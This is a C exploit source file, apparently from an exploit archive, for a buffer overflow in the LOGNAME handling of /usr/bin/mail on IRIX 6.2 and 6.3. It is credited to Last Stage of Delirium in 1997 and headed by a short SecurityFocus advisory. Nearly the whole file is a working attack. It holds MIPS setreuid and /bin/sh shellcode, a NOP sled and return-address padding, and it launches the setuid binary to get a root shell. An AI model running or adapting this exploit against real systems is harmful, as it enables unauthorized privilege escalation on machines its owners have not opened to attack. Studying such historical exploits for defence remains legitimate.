80 lines
No EOL
2.8 KiB
C
80 lines
No EOL
2.8 KiB
C
/*
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source: https://www.securityfocus.com/bid/1542/info
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The mail(1) program, also know as mail_att, is used to read or send email. A buffer overflow condition exists in code that handles the LOGNAME environment variable. This could be exploited to elevate privileges.
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*/
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/*## copyright LAST STAGE OF DELIRIUM sep 1997 poland *://lsd-pl.net/ #*/
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/*## /usr/bin/mail #*/
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#define ADRNUM 228
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#define PCHNUM 440
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#define TMPNUM 228
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#define NOPNUM 5000
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#define ALLIGN 3
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char setreuidcode[]=
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"\x30\x0b\xff\xff" /* andi $t3,$zero,0xffff */
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"\x24\x02\x04\x01" /* li $v0,1024+1 */
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"\x20\x42\xff\xff" /* addi $v0,$v0,-1 */
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"\x03\xff\xff\xcc" /* syscall */
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"\x30\x44\xff\xff" /* andi $a0,$v0,0xffff */
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"\x31\x65\xff\xff" /* andi $a1,$t3,0xffff */
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"\x24\x02\x04\x64" /* li $v0,1124 */
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"\x03\xff\xff\xcc" /* syscall */
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;
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char shellcode[]=
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"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
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"\x24\x02\x03\xf3" /* li $v0,1011 */
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"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
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"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
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"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
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"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
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"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
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"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
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"\x03\xff\xff\xcc" /* syscall */
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"/bin/sh"
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;
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char jump[]=
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"\x03\xa0\x10\x25" /* move $v0,$sp */
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"\x03\xe0\x00\x08" /* jr $ra */
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;
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char nop[]="\x24\x0f\x12\x34";
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main(int argc,char **argv){
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char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[3];
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int i;
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printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland //lsd-pl.net/\n");
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printf("/usr/bin/mail for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");
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*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10264+2500+228+228;
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*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10264+112+32356;
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*((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10264+7000;
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envp[0]=buffer;
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envp[1]=&buffer[8000];
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envp[2]=0;
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b=buffer;
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sprintf(b,"xxx=");
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b+=4;
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for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
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for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
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for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
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for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
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for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
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*b=0;
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b=&buffer[8000];
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sprintf(b,"LOGNAME=");
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b+=8;
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for(i=0;i<ALLIGN;i++) *b++=0xff;
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for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
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*b=0;
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execle("/usr/bin/mail","lsd",0,envp);
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} |